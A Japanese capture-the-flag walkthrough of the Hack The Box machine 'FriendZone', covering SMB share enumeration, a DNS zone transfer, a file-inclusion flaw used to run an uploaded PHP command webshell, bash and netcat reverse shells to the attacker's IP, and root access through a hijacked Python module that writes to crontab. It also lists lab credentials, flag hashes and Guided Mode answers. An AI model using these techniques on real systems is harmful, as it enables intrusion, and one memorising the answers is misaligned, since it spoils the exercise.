- 本記事の概要
- ポートスキャン及びアクセス
- 名前解決のためのhostsファイル更新(1回目)
- SMBの調査(enum4linux、crackmapexec等)
- Webアクセスできるファイル/ディレクトリ調査(1回目)
- Webサイトの動作確認(friendzone.red)
- DNSレコード問い合わせによるサブドメイン調査
- 名前解決のためのhostsファイル更新(2回目)
- Webアクセスできるサブドメイン調査
- Webアクセスできるファイル/ディレクトリ調査(2回目)
- Webアクセスできるファイル/ディレクトリ調査(phpファイルの調査)
- 任意のファイルへのアクセス有無の調査
- 任意のファイルへのアクセスによるリバースシェル奪取
- 特権昇格のための調査(SUIDなど)
- 特権昇格のための調査(pspy64s)
- 特権昇格のための調査(LinEnum.sh)
- 特権昇格(UID=0のプロセスを悪用したリバースシェル)
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「FriendZone」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) 名前解決のためのhostsファイル更新(1回目)
(3) SMBの調査(enum4linux、crackmapexec等)
(4) Webアクセスできるファイル/ディレクトリ調査(1回目)
(5) Webサイトの動作確認(friendzone.red)
(6) DNSレコード問い合わせによるサブドメイン調査
(7) 名前解決のためのhostsファイル更新(2回目)
(8) Webアクセスできるサブドメイン調査
(9) Webアクセスできるファイル/ディレクトリ調査(2回目)
(10) Webアクセスできるファイル/ディレクトリ調査(phpファイルの調査)
(11) 任意のファイルへのアクセス有無の調査
(12) 任意のファイルへのアクセスによるリバースシェル奪取
(13) 特権昇格のための調査(SUIDなど)
(14) 特権昇格のための調査(pspy64s)
(15) 特権昇格のための調査(LinEnum.sh)
(16) 特権昇格(UID=0のプロセスを悪用したリバースシェル)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.123
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 20:13 JST
Warning: 10.10.10.123 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.123
Host is up (0.32s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_http-title: 404 Not Found
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-07-25T11:15:07
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2025-07-25T14:15:07+03:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 437.73 ms 10.10.16.1
2 202.31 ms 10.10.10.123
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.15 seconds
(2) ブラウザを用いて「http://10.10.10.123/」にアクセスすると、Webページが表示される。
名前解決のためのhostsファイル更新(1回目)
(1) nmapのポートスキャンの443/tcpの欄を確認すると「ssl-cert: Subject: commonName=friendzone.red」が出力されているため、「friendzone.red」というFQDNを使用していることが分かる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.10.123 friendzone.red' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.10.123 friendzone.red」が出力されることを確認する。SMBの調査(enum4linux、crackmapexec等)
(1) enum4linuxを用いてSMB(445/tcp)の情報を収集すると、「general」と「Development」ディレクトリは読み込み権限と書き込み権限があることが分かる。
$ enum4linux 10.10.10.123
【出力結果(一部抜粋)】
=================================( Share Enumeration on 10.10.10.123 )=================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP FRIENDZONE
[+] Attempting to map shares on 10.10.10.123
//10.10.10.123/print$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.123/Files Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.123/general Mapping: OK Listing: OK Writing: N/A
//10.10.10.123/Development Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.10.10.123/IPC$ Mapping: N/A Listing: N/A Writing: N/A
(2) ユーザーを指定せずにcrackmapexecを用いてSMB(445/tcp)の情報を収集すると、フォルダが出力されない。
# crackmapexec smb 10.10.10.123 --shares
(3) guestユーザーを指定してcrackmapexecを用いてSMB(445/tcp)の情報を収集すると、「general」や「Development」などのディレクトリがあることが分かる。
# crackmapexec smb 10.10.10.123 -u 'guest' -p '' --shares
SMB 10.10.10.123 445 FRIENDZONE [*] Windows 6.1 (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True)
SMB 10.10.10.123 445 FRIENDZONE [+] \guest:
SMB 10.10.10.123 445 FRIENDZONE [+] Enumerated shares
SMB 10.10.10.123 445 FRIENDZONE Share Permissions Remark
SMB 10.10.10.123 445 FRIENDZONE ----- ----------- ------
SMB 10.10.10.123 445 FRIENDZONE print$ Printer Drivers
SMB 10.10.10.123 445 FRIENDZONE Files FriendZone Samba Server Files /etc/Files
SMB 10.10.10.123 445 FRIENDZONE general READ FriendZone Samba Server Files
SMB 10.10.10.123 445 FRIENDZONE Development READ,WRITE FriendZone Samba Server Files
SMB 10.10.10.123 445 FRIENDZONE IPC$ IPC Service (FriendZone server (Samba, Ubuntu))
(4) 「print」と「Files」と「IPC」ディレクトリにアクセスしようとすると、NT_STATUS_BAD_NETWORK_NAMEのエラーが表示される。
$ smbclient //10.10.10.123/print -N
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
$ smbclient //10.10.10.123/Files -N
tree connect failed: NT_STATUS_ACCESS_DENIED
$ smbclient //10.10.10.123/IPC -N
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
(5) Developmentディレクトリへのアクセスしてファイル一覧表示をすると、何もファイルが格納されていないことが分かる。その後、exitコマンドで接続を終了する。
$ smbclient //10.10.10.123/Development -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jul 26 09:58:15 2025
.. D 0 Tue Sep 13 23:56:24 2022
3545824 blocks of size 1024. 1554172 blocks available
smb: \> exit
(6) generalディレクトリへのアクセスしてファイル一覧表示をすると、creds.txtファイルが分かる。そのためgetコマンドでcreds.txtファイルをダウンロードする。その後、exitコマンドで接続を終了する。
$ smbclient //10.10.10.123/general -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jan 17 05:10:51 2019
.. D 0 Tue Sep 13 23:56:24 2022
creds.txt N 57 Wed Oct 10 08:52:42 2018
3545824 blocks of size 1024. 1554172 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
(7) ダウンロードしたcreds.txtファイルの内容を確認すると、adminユーザーのパスワードが「WORKWORKHhallelujah@#」であることが分かる。
$ cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#Webアクセスできるファイル/ディレクトリ調査(1回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://10.10.10.123/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 9l 28w 316c http://10.10.10.123/wordpress => http://10.10.10.123/wordpress/
200 GET 92l 454w 37253c http://10.10.10.123/fz.jpg
200 GET 12l 31w 324c http://10.10.10.123/
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ gobuster dir -u http://10.10.10.123/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o FriendZone_80.txt
ーーー(省略)ーーー
/.htaccess (Status: 403) [Size: 296]
/.htpasswd (Status: 403) [Size: 296]
Progress: 10025 / 20479 (48.95%)[ERROR] Get "http://10.10.10.123/ipp": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/robots.txt (Status: 200) [Size: 13]
/server-status (Status: 403) [Size: 300]
/wordpress (Status: 301) [Size: 316] [--> http://10.10.10.123/wordpress/]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ sudo dirsearch -u http://10.10.10.123/
ーーー(省略)ーーー
[13:10:56] Starting:
[13:11:47] 403 - 298B - /.ht_wsr.txt
[13:11:48] 403 - 301B - /.htaccess.bak1
[13:11:48] 403 - 301B - /.htaccess.orig
[13:11:48] 403 - 302B - /.htaccess_extra
[13:11:48] 403 - 303B - /.htaccess.sample
[13:11:48] 403 - 301B - /.htaccess.save
[13:11:48] 403 - 301B - /.htaccess_orig
[13:11:49] 403 - 299B - /.htaccess_sc
[13:11:49] 403 - 299B - /.htaccessOLD
[13:11:49] 403 - 299B - /.htaccessBAK
[13:11:50] 403 - 300B - /.htaccessOLD2
[13:11:51] 403 - 292B - /.html
[13:11:51] 403 - 291B - /.htm
[13:11:51] 403 - 301B - /.htpasswd_test
[13:11:51] 403 - 297B - /.htpasswds
[13:11:51] 403 - 298B - /.httr-oauth
[13:12:10] 403 - 291B - /.php
[13:14:21] 200 - 11KB - /index.bak
[13:14:47] 200 - 13B - /robots.txt
[13:14:48] 403 - 300B - /server-status
[13:14:48] 403 - 301B - /server-status/
[13:15:10] 200 - 399B - /wordpress/
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.10.123/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 324, Words: 26, Lines: 13, Duration: 207ms]
wordpress [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 421ms]
[Status: 200, Size: 324, Words: 26, Lines: 13, Duration: 213ms]
server-status [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 215ms]
ーーー(省略)ーーー
Webサイトの動作確認(friendzone.red)
(1) ブラウザを用いて「https://friendzone.red/」にアクセスして、[Advanced…]>[Accept the Risk and Continue]をクリックする。
(2) Webページが表示されることを確認する。
DNSレコード問い合わせによるサブドメイン調査
(1) digでDNSレコードに設定されているレコードを調べると、administrator1.friendzone.red、hr.friendzone.red、uploads.friendzone.redの3個のサブドメインがある。
$ dig axfr friendzone.red @10.10.10.123
※axfrはゾーン転送要求をするオプションです。
【出力結果】
; <<>> DiG 9.20.7-1-Debian <<>> axfr friendzone.red @10.10.10.123
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 439 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Sun Jul 27 13:51:18 JST 2025
;; XFR size: 8 records (messages 1, bytes 289)名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.10.123 administrator1.friendzone.red' | sudo tee -a /etc/hosts
$ echo '10.10.10.123 hr.friendzone.red' | sudo tee -a /etc/hosts
$ echo '10.10.10.123 uploads.friendzone.red' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.10.123 administrator1.friendzone.red」、「10.10.10.123 hr.friendzone.red」、「10.10.10.123 uploads.friendzone.red」が出力されることを確認する。
(2) ブラウザを用いて「https://administrator1.friendzone.red/」にアクセスすると、ログイン画面が表示される。
(3) ブラウザを用いて「https://hr.friendzone.red/」にアクセスすると、ページが見つからない(Not Found)のメッセージが表示される。
(4) ブラウザを用いて「https://hr.friendzone.red/」にアクセスすると、ファイルのアップロード画面と思われるページが表示される。
Webアクセスできるサブドメイン調査
(1) ブラウザを用いて「https://administrator1.friendzone.red/」にアクセスして、「ユーザー名:admin」と「パスワード:WORKWORKHhallelujah@#」を入力して、「LOGIN」をクリックする。
(2) ログインに成功し、/dashboard.phpにアクセスする旨のメッセージが表示される。
(3) 「https://administrator1.friendzone.red/dashboard.php」にアクセスすると、image_idやpagenameのパラメータを用いてファイルにアクセスできると推測できるメッセージが表示される。
Webアクセスできるファイル/ディレクトリ調査(2回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u https://administrator1.friendzone.red/ -d 2 -C 400,403,404,405,500 -k
ーーー(省略)ーーー
301 GET 9l 28w 349c https://administrator1.friendzone.red/images => https://administrator1.friendzone.red/images/
200 GET 1l 2w 7c https://administrator1.friendzone.red/login.php
200 GET 122l 307w 2873c https://administrator1.friendzone.red/
200 GET 57l 242w 20127c https://administrator1.friendzone.red/images/a.jpg
200 GET 0l 0w 400557c https://administrator1.friendzone.red/images/b.jpg
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ gobuster dir -u https://administrator1.friendzone.red/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o FriendZone_443.txt -k
ーーー(省略)ーーー
/.htaccess (Status: 403) [Size: 314]
/.htpasswd (Status: 403) [Size: 314]
/images (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/server-status (Status: 403) [Size: 318]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ sudo dirsearch -u https://administrator1.friendzone.red/
ーーー(省略)ーーー
[14:22:55] 403 - 309B - /.php
[14:23:36] 200 - 100B - /dashboard.php
[14:23:49] 301 - 349B - /images -> https://administrator1.friendzone.red/images/
[14:23:49] 200 - 486B - /images/
[14:23:55] 200 - 7B - /login.php
[14:24:15] 403 - 318B - /server-status
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://administrator1.friendzone.red/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 2873, Words: 393, Lines: 123, Duration: 234ms]
images [Status: 301, Size: 349, Words: 20, Lines: 10, Duration: 333ms]
[Status: 200, Size: 2873, Words: 393, Lines: 123, Duration: 208ms]
server-status [Status: 403, Size: 318, Words: 22, Lines: 12, Duration: 205ms]
:: Progress: [220546/220546] :: Job [1/1] :: 149 req/sec :: Duration: [0:28:59] :: Errors: 0 ::
ーーー(省略)ーーー
Webアクセスできるファイル/ディレクトリ調査(phpファイルの調査)
(1) GoBusterを用いてアクセスできるphpファイルを確認するが、特に気になる内容はない。
$ gobuster dir -u https://administrator1.friendzone.red/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o FriendZone_443-1.txt -k -x php
ーーー(省略)ーーー
/.htaccess (Status: 403) [Size: 314]
/.htaccess.php (Status: 403) [Size: 318]
/.htpasswd (Status: 403) [Size: 314]
/.htpasswd.php (Status: 403) [Size: 318]
/dashboard.php (Status: 200) [Size: 101]
/images (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/login.php (Status: 200) [Size: 7]
/server-status (Status: 403) [Size: 318]
ーーー(省略)ーーー
(2) ffufを用いてアクセスできるphpファイルを確認すると、timestamp.phpにアクセスできることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "https://administrator1.friendzone.red/FUZZ.php" -ic
ーーー(省略)ーーー
login [Status: 200, Size: 7, Words: 2, Lines: 1, Duration: 219ms]
[Status: 403, Size: 309, Words: 22, Lines: 12, Duration: 219ms]
dashboard [Status: 200, Size: 101, Words: 12, Lines: 1, Duration: 228ms]
timestamp [Status: 200, Size: 36, Words: 5, Lines: 1, Duration: 230ms]
[Status: 403, Size: 309, Words: 22, Lines: 12, Duration: 217ms]
:: Progress: [220546/220546] :: Job [1/1] :: 164 req/sec :: Duration: [0:21:56] :: Errors: 40 ::
ーーー(省略)ーーー
任意のファイルへのアクセス有無の調査
(1) ブラウザを「https://administrator1.friendzone.red/timestamp.php」にアクセスすると、タイムスタンプが表示される。
(2) ブラウザを用いて「https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp」にアクセスすると、a.jpgとtimestamp.phpの内容が読み込まれていることが分かる。
(3) リバースシェルを実行するためにKali LinuxのIPアドレスを確認し、リバースシェル用のプログラム(reverse_shell.php)を作成する。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」
$ vi reverse_shell1.php
【reverse_shell1.phpの内容】
<?php
system($_GET['cmd']);
?>
(4) Developmentディレクトリに作成したプログラム(reverse_shell.php)を格納する。
$ smbclient //10.10.10.123/Development -N
Try "help" to get a list of possible commands.
smb: \> put reverse_shell.php
putting file reverse_shell.php as \reverse_shell.php (0.1 kb/s) (average 0.1 kb/s)
smb: \> exit
(5) enum4linuxやcrackmapexecの結果Filesディレクトリが「/etc/Files」のため、Developmentは「/etc/Development」になっていると推測する。
(6) ブラウザを用いて「https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/reverse_shell&cmd=cat+/etc/passwd」にアクセスすると、/etc/passwdファイルの内容が表示される。
そのため、cmdパラメータに任意のOSコマンドを送ることで実行できることが分かる。
任意のファイルへのアクセスによるリバースシェル奪取
(1) Kali Linux側で1234/tcpで待ち受ける。
$ nc -lvnp 1234
listening on [any] 1234 ...
(2) ブラウザを用いて「https://www.revshells.com/」にアクセスし、IPアドレスなどを設定してリバースシェルのコマンドを確認する。
(3) 確認したリバースシェルのコマンドをURLエンコードをする。
【URLエンコード前】
bash -c 'bash -i >& /dev/tcp/10.10.16.10/1234 0>&1'
【URLエンコード後】
bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.10%2F1234+0%3E%261%27
(4) ブラウザを用いて「https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/reverse_shell&cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.10%2F1234+0%3E%261%27」にアクセスする。
(5) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.123] 43576
bash: cannot set terminal process group (904): Inappropriate ioctl for device
bash: no job control in this shell
www-data@FriendZone:/var/www/admin$
(6) 完全なシェルを奪取する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(7) 現在ログインしているユーザー情報を確認すると、www-dataユーザーであることが分かる。
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
(8) 一般ユーザー用のフラグファイルを確認する。
$ cat /home/friend/user.txt
567b031d1fc678582d1fc6a1f4e853e8特権昇格のための調査(SUIDなど)
(1) SUIDファイルを検索する。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/bin/fusermount
/bin/umount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/sbin/exim4
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
(2) .bash_historyファイルを確認すると、何も出力されない。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ cat /home/friend/.bash_history
(3) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
21 open
22 open
25 open
53 open
80 open
139 open
443 open
445 open
953 open
(4) OSの情報を確認すると、「Ubuntu 18.04.1 LTS」であることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ uname -a
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic特権昇格のための調査(pspy64s)
(1) バックアップ処理時のコマンドを確認するために、「https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s」を使用する。まずはKali Linuxにpspy64sをダウンロードする。
※kali Linux上で以下のコマンドを実行する。
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
(2) Kali Linux上でHTTP(8081/tcp)サービスを起動する。
※kali Linux上で以下のコマンドを実行する。
$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
(3) 攻撃対象のマシン(FriendZone)からKali Linux上のpspy64sをダウンロードする。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ cd /tmp
$ wget 10.10.16.10:8081/pspy64s
(4) pspy64sに実行権限を付与して実行する。UID=0(root権限で実行)のプロセスを確認すると、「/usr/bin/python /opt/server_admin/reporter.py」というコマンドを実行していることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ chmod +x pspy64s
$ ./pspy64s
ーーー(省略)ーーー
2025/07/28 14:56:27 CMD: UID=0 PID=1 | /sbin/init splash
2025/07/28 14:58:01 CMD: UID=0 PID=13677 | /usr/bin/python /opt/server_admin/reporter.py
2025/07/28 14:58:01 CMD: UID=0 PID=13676 | /bin/sh -c /opt/server_admin/reporter.py
2025/07/28 14:58:01 CMD: UID=0 PID=13675 | /usr/sbin/CRON -f
ーーー(省略)ーーー
(5) /opt/server_admin/reporter.pyファイルの内容を確認すると、osモジュールをインポートしていることが分かる。
$ cat /opt/server_admin/reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
(6) reporter.pyを実行すると、メッセージが表示される。
$ /usr/bin/python /opt/server_admin/reporter.py
[+] Trying to send email to admin1@friendzone.com特権昇格のための調査(LinEnum.sh)
(1) Linuxシステム上の権限昇格のための脆弱性や設定ミスを確認するために、「https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh」を使用する。まずはKali LinuxにLinEnum.shをダウンロードする。
※kali Linux上で以下のコマンドを実行する。
$ git clone https://github.com/rebootuser/LinEnum.git
$ cd LinEnum
(2) Kali Linux上でHTTP(8081/tcp)サービスを起動する。
※kali Linux上で以下のコマンドを実行する。
$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
(3) 攻撃対象のマシン(FriendZone)からKali Linux上のLinEnum.shをダウンロードする。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ cd /tmp
$ wget 10.10.16.10:8081/LinEnum.sh
(4) /usr/lib/python2.7/os.pyの権限が「-rwxrwxrwx」のため、www-dataユーザーでも書き込み権限があることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(FriendZone)上で以下のコマンドを実行する。
$ chmod +x LinEnum.sh
$ ./LinEnum.sh -t 1
ーーー(省略)ーーー
[-] Files not owned by user but writable by group:
-rwxrw-rw- 1 nobody nogroup 31 Jul 28 14:19 /etc/Development/reverse_shell1.php
-rwxrw-rw- 1 nobody nogroup 5492 Jul 28 13:45 /etc/Development/php-reverse-shell.php
-rwxrw-rw- 1 nobody nogroup 62 Jul 28 14:12 /etc/Development/reverse_shell.php
-rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
ーーー(省略)ーーー
特権昇格(UID=0のプロセスを悪用したリバースシェル)
(1) pspy64sの結果から/usr/lib/python2.7/os.pyを読み込んでいるreporter.pyは定期的にroot権限で実行されていることが分かっている。そのため、「/usr/lib/python2.7/os.py」を実行したいプログラムに入れ替えることで任意のコマンドを実行できる。
(2) ブラウザを用いて「https://www.revshells.com/」にアクセスし、IPアドレスなどを設定してリバースシェルのコマンドを確認する。
(3) Kali Linux側で1235/tcpで待ち受ける。
$ nc -lvnp 1235
listening on [any] 1235 ...
(4) /etc/crontabにリバースシェルのコマンドを書き込むプログラム(os.py)を作成する。
$ vi /tmp/os.py
【os.pyの内容】
shell = '''
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.10 1235 >/tmp/f
'''
f = open('/etc/crontab' , 'a')
f.write(shell)
f.close
(5) osモジュールのファイルを作成したプログラム(os.py)に置き換える。
$ cp /tmp/os.py /usr/lib/python2.7/os.py
(6) 「nc -lnvp 1235」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。
listening on [any] 1235 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.10.123] 60590
sh: 0: can't access tty; job control turned off
#
(7) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(8) 特権ユーザー用のフラグファイルを確認する。
# cat /root/root.txt
c6631eeeab70757b42044cdf5afb7eeb[補足] Guided ModeのQA
・Task 1
問題(英語訳):What is the common name for the box given on the TLS certificate on one of the open ports?
問題(日本語訳):開いているポートの 1 つにある TLS 証明書に指定されているボックスの一般的な名前は何ですか?
答え:friendzone.red
・Task 2
問題(英語訳):What is the name of the Samba share that allows for anonymous read and write access?
問題(日本語訳):匿名の読み取りおよび書き込みアクセスを許可する Samba 共有の名前は何ですか?
答え:Development
・Task 3
問題(英語訳):What is the admin password available from creds.txt in one of the SMB shares?
問題(日本語訳):SMB 共有の 1 つにある creds.txt から入手できる管理者パスワードは何ですか?
答え:WORKWORKHhallelujah@#
・Task 4
問題(英語訳):There are several subdomains of the friendzone.red domain available on this server. What is the name of the subdomain that returns a login form with the title "Login Form for FriendZone"?
問題(日本語訳):このサーバーには、friendzone.redドメインのサブドメインが複数あります。「FriendZoneのログインフォーム」というタイトルのログインフォームを返すサブドメインの名前は何ですか?
答え:administrator1.friendzone.red
・Task 5
問題(英語訳):The dashboard.php page seems to be including another page that provides a timestamp. That page can also be visited directly. What is the relative path on the webserver to that page?
問題(日本語訳):dashboard.php ページには、タイムスタンプを提供する別のページが含まれているようです。そのページに直接アクセスすることもできます。そのページへのウェブサーバー上の相対パスを教えてください。
答え:/timestamp.php
・Task 6
問題(英語訳):What's the full path on FriendZone to the directory that is shared by Samba as the Development share?
問題(日本語訳):Samba によって開発共有として共有されているディレクトリへの FriendZone 上の完全なパスは何ですか?
答え:/etc/Development
・Task 7
問題(英語訳):What user is the webserver running as?
問題(日本語訳):Web サーバーはどのユーザーとして実行されていますか?
